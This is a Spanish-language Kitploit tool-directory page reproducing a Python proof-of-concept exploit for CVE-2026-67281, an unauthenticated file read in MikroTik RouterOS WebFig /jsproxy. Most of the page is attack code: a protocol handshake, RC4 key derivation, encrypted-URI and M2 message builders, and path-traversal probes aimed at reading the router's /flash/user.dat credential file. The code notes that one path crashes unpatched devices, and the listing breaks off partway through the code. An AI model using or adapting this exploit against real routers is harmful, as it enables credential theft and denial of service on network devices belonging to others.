Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281- — Prueba de concepto en Python para CVE-2026-67281: explota RouterOS WebFig /jsproxy mediante GET con URI cifrada, POST de mensaje M2 y rutas de recorrido estáticas para leer /flash/user.dat. | Kitploit
Herramientas/GitHubGitHub/sohel160/webfig-jsproxy-unauthenticated-file-read-cve-2026-67281-
Seguridad de Sistemas EmbebidosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebSeguridad de Redes
GitHub
Compartir
sohel160/webfig-jsproxy-unauthenticated-file-read-cve-2026-67281-

Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281-

Prueba de concepto en Python para CVE-2026-67281: explota RouterOS WebFig /jsproxy mediante GET con URI cifrada, POST de mensaje M2 y rutas de recorrido estáticas para leer /flash/user.dat.

Ver Repositorio
24hace 1 mesAún no revisado

Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281-

#!/usr/bin/env python3

-- coding: utf-8 --

""" CVE-2026-67281 — variante de lectura de archivos en RouterOS WebFig /jsproxy.

Intenta leer /flash/user.dat a través de tres rutas de código independientes:

Ruta A — GET con URI cifrada (GET /jsproxy/?) Alcanza nv::findFile tras descifrar y autorizar. Provoca un fallo en 7.21.5 sin parchear debido al bug de session list_head; se espera que funcione después de que MikroTik parchee el DoS.

Ruta B — POST de mensaje M2 (POST /jsproxy con cuerpo M2) Usa nv::Handler::handle → checkAccess → is_allowed. No toca la ruta de descifrado que provoca el fallo. Requiere el espacio de nombres cmd correcto, que este script enumera.

Ruta C — GET estático directo (GET /webfig/) Sirve archivos estáticos desde /home/web/. Incluye sondeos básicos de traversal contra la raíz de servicio.

Cada ruta es independiente. El script las ejecuta en orden e informa qué funcionó, sin reintentar tras un fallo.

Solo para uso en laboratorio autorizado. """

import hashlib import secrets import struct import sys import time

import requests from cryptography.hazmat.primitives.asymmetric.x25519 import ( X25519PrivateKey, X25519PublicKey) from cryptography.hazmat.primitives.serialization import ( Encoding, PublicFormat)

---------------------------------------------------------------------

Constantes del protocolo

---------------------------------------------------------------------

MAGIC_SEND = (b"On the client side, this is the send key; " b"on the server side, it is the receive key.") MAGIC_RECV = (b"On the client side, this is the receive key; " b"on the server side, it is the send key.")

SAFE = set(b"ABCDEFGHIJKLMNOPQRSTUVWXYZ" b"abcdefghijklmnopqrstuvwxyz" b"0123456789-_.~")

Etiquetas de tipo de campo M2 (5 bits superiores de la cabecera de campo de 4 bytes)

FT_BOOL, FT_U32, FT_STRING, FT_RAW, FT_U32_ARRAY =
0 << 27, 1 << 27, 4 << 27, 6 << 27, 17 << 27 FS_SHORT, FS_LONG = 1 << 24, 1 << 25

---------------------------------------------------------------------

RC4-drop-768

---------------------------------------------------------------------

class RC4: def init(self): self.S = list(range(256)) self.i = self.j = 0

def set_key(self, key: bytes) -> None:
    if not key:
        raise ValueError("empty RC4 key")
    self.S = list(range(256))
    self.i = self.j = 0
    j = 0
    for i in range(256):
        j = (j + self.S[i] + key[i % len(key)]) & 0xff
        self.S[i], self.S[j] = self.S[j], self.S[i]
    for _ in range(768):
        self.gen()

def gen(self) -> int:
    self.i = (self.i + 1) & 0xff
    self.j = (self.j + self.S[self.i]) & 0xff
    self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
    return self.S[(self.S[self.i] + self.S[self.j]) & 0xff]

def crypt(self, data: bytes) -> bytes:
    return bytes(v ^ self.gen() for v in data)

---------------------------------------------------------------------

KDF / X25519

---------------------------------------------------------------------

def webfig_kdf(master: bytes, is_send: bool, is_server: bool) -> bytes: v = bytearray(master) v.extend(b"\x00" * 40) v.extend(MAGIC_RECV if is_send == is_server else MAGIC_SEND) v.extend(b"\xf2" * 40) return hashlib.sha1(v).digest()[:16]

def client_public(priv_raw: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.public_key().public_bytes( Encoding.Raw, PublicFormat.Raw)[::-1]

def shared_secret(priv_raw: bytes, srv_pub: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.exchange( X25519PublicKey.from_public_bytes(srv_pub[::-1]))[::-1]

---------------------------------------------------------------------

Codificación de URI fiel a JS

---------------------------------------------------------------------

def encode_uri_component(data: bytes) -> str: out = [] for b in data: if b in SAFE: out.append(chr(b)) elif b < 0x80: out.append(f"%{b:02X}") elif b < 0xC0: out.append(f"%C2%{b:02X}") else: out.append(f"%C3%{(b - 0x40):02X}") return "".join(out)

---------------------------------------------------------------------

Handshake

---------------------------------------------------------------------

def handshake(base: str, http: requests.Session, timeout=10.0): priv = secrets.token_bytes(32) pub = client_public(priv) r = http.post( base + "/jsproxy", data=b"\x00" * 8 + pub, headers={"Content-Type": "msg", "Accept-Language": "", "Connection": "close"}, timeout=timeout) if r.status_code != 200 or len(r.content) != 40: raise RuntimeError(f"handshake HTTP {r.status_code} len={len(r.content)}") sid = struct.unpack(">I", r.content[:4])[0] master = shared_secret(priv, r.content[8:40]) tx = RC4(); tx.set_key(webfig_kdf(master, True, False)) rx = RC4(); rx.set_key(webfig_kdf(master, False, False)) return sid, tx, rx

---------------------------------------------------------------------

Path A — encrypted-URI GET

---------------------------------------------------------------------

def path_a_encrypted_get(base, http, uri, timeout=10.0): """ GET /jsproxy/?. On unpatched targets, this crashes www. On patched targets, one of these URIs will return the file. """ result = {"path": "A_encrypted_get", "uri": uri, "status": None, "body": b"", "crashed": False, "error": None}

try:
    sid, tx, _ = handshake(base, http)
except Exception as e:
    result["error"] = f"handshake: {e!r}"
    return result

pt  = uri.encode("utf-8")
seq = 1
enc = tx.crypt(pt)
pad = tx.crypt(b" " * 8)
frame = struct.pack(">I", sid) + struct.pack(">I", seq) + enc + pad
url = base + "/jsproxy/?" + encode_uri_component(frame)

try:
    r = http.get(url, timeout=timeout)
    result["status"] = r.status_code
    result["body"] = r.content
except requests.exceptions.ConnectionError as e:
    result["crashed"] = True
    result["error"] = repr(e)
except requests.RequestException as e:
    result["error"] = repr(e)

return result

---------------------------------------------------------------------

Path B — M2 message POST

---------------------------------------------------------------------

def _field_id(idtype: int, name: str) -> bytes: n = int(name[1:], 16) return bytes((n & 0xff, (n >> 8) & 0xff, (n >> 16) & 0xff, (idtype >> 24) & 0xff))

def _u32_short(name, value): return _field_id(FT_U32 | FS_SHORT, name) + bytes((value & 0xff,))

def _u32_long(name, value): return _field_id(FT_U32, name) + struct.pack("<I", value & 0xffffffff)

def _u32arr(name, values): out = _field_id(FT_U32_ARRAY, name) + struct.pack("<H", len(values)) for v in values: out += struct.pack("<I", v) return out

def _str(name, s): raw = s.encode("utf-8") if len(raw) < 256: return _field_id(FT_STRING | FS_SHORT, name) +
bytes((len(raw),)) + raw return _field_id(FT_STRING, name) + struct.pack("<H", len(raw)) + raw

def _bool(name): return _field_id(FT_BOOL | FS_SHORT, name)

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    837
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    536
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    424
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    294
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    276

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →